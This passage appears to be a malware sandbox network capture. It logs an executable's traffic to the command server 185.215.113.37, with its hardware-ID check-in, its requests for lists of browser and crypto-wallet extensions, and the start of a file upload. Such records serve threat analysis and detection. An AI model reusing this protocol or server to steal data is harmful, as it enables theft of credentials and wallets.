Oct 13, 2024 00:47:55.120573997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:55.120582104 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:55.120584011 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:55.120595932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:55.120619059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:55.120635986 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:55.712239981 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:55.712294102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:55.717071056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:55.717113972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:56.612035036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:56.612124920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:57.369585991 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:57.417511940 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:57.636219978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:57.636256933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:57.636266947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:57.636307955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:57.636307955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:57.636308908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:57.638842106 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:57.643620014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:57.859652996 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:57.859726906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:57.872713089 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:57.877660036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.587728024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.587944984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.614577055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.619493008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.839910030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.839937925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.839950085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.839981079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.840044022 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.840071917 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.840121984 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.840132952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.840145111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.840174913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.840187073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.840255022 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.840269089 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.840281010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.840295076 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.840306044 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.840320110 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.840342045 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.928980112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:58.929114103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.930391073 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:47:58.935420990 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:59.645541906 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:47:59.645944118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:48:04.863603115 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:48:04.863673925 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:48:04.864367962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 13, 2024 00:48:04.864449978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 13, 2024 00:48:05.413749933 CEST	49711	80	192.168.2.6	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 13, 2024 00:47:55.905936956 CEST	53	53150	1.1.1.1	192.168.2.6

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49711	185.215.113.37	80	2672	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 13, 2024 00:47:40.778533936 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 00:47:41.479146004 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:41 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 00:47:41.483819008 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDGHIIJKEBGIDHIDBKJD Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 39 30 35 32 35 45 35 46 41 38 36 33 35 37 36 38 35 30 37 39 38 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 48 49 49 4a 4b 45 42 47 49 44 48 49 44 42 4b 4a 44 2d 2d 0d 0a Data Ascii: ------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="hwid"B90525E5FA863576850798------JDGHIIJKEBGIDHIDBKJDContent-Disposition: form-data; name="build"doma------JDGHIIJKEBGIDHIDBKJD--
Oct 13, 2024 00:47:41.718581915 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:41 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 6c 6a 5a 44 63 7a 59 54 49 77 4e 44 45 34 59 6d 59 78 59 54 45 31 4e 57 49 35 4e 7a 46 6b 4e 7a 4d 78 4e 57 4a 68 5a 54 68 6b 5a 54 41 35 4e 57 5a 6b 59 57 51 32 4e 6a 49 31 4d 6a 59 33 4f 44 67 78 59 32 59 35 4f 47 55 35 5a 57 59 33 59 7a 45 33 4e 54 59 7a 4f 57 46 6b 4d 44 59 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzljZDczYTIwNDE4YmYxYTE1NWI5NzFkNzMxNWJhZThkZTA5NWZkYWQ2NjI1MjY3ODgxY2Y5OGU5ZWY3YzE3NTYzOWFkMDY1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 13, 2024 00:47:41.720117092 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGDHJJDGHCAAAKEHIJ Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------EGDGDHJJDGHCAAAKEHIJContent-Disposition: form-data; name="message"browsers------EGDGDHJJDGHCAAAKEHIJ--
Oct 13, 2024 00:47:41.941970110 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:41 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 13, 2024 00:47:41.941998959 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 13, 2024 00:47:41.943351984 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIE Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="message"plugins------JJDHIDBFBFHIJKFHCGIE--
Oct 13, 2024 00:47:42.164860010 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:42 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 13, 2024 00:47:42.164884090 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Oct 13, 2024 00:47:42.164895058 CEST	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Oct 13, 2024 00:47:42.164953947 CEST	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Oct 13, 2024 00:47:42.164964914 CEST	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Oct 13, 2024 00:47:42.164978027 CEST	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Oct 13, 2024 00:47:42.183732033 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAE Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 61 32 30 34 31 38 62 66 31 61 31 35 35 62 39 37 31 64 37 33 31 35 62 61 65 38 64 65 30 39 35 66 64 61 64 36 36 32 35 32 36 37 38 38 31 63 66 39 38 65 39 65 66 37 63 31 37 35 36 33 39 61 64 30 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4a 44 48 44 47 44 41 41 4b 45 43 41 4b 4a 44 41 45 2d 2d 0d 0a Data Ascii: ------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------KJJJDHDGDAAKECAKJDAEContent-Disposition: form-data; name="message"fplugins------KJJJDHDGDAAKECAKJDAE--
Oct 13, 2024 00:47:42.405411005 CEST	335	IN	HTTP/1.1 200 OK Date: Sat, 12 Oct 2024 22:47:42 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 13, 2024 00:47:42.471851110 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FIDGDAKFHIEHJKFHDHDB Host: 185.215.113.37 Content-Length: 7155 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 00:47:42.471851110 CEST	7155	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 46 48 44 48 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 39 63 64 37 33 Data Ascii: ------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="token"c9cd73a20418bf1a155b971d7315bae8de095fdad6625267881cf98e9ef7c175639ad065------FIDGDAKFHIEHJKFHDHDBContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
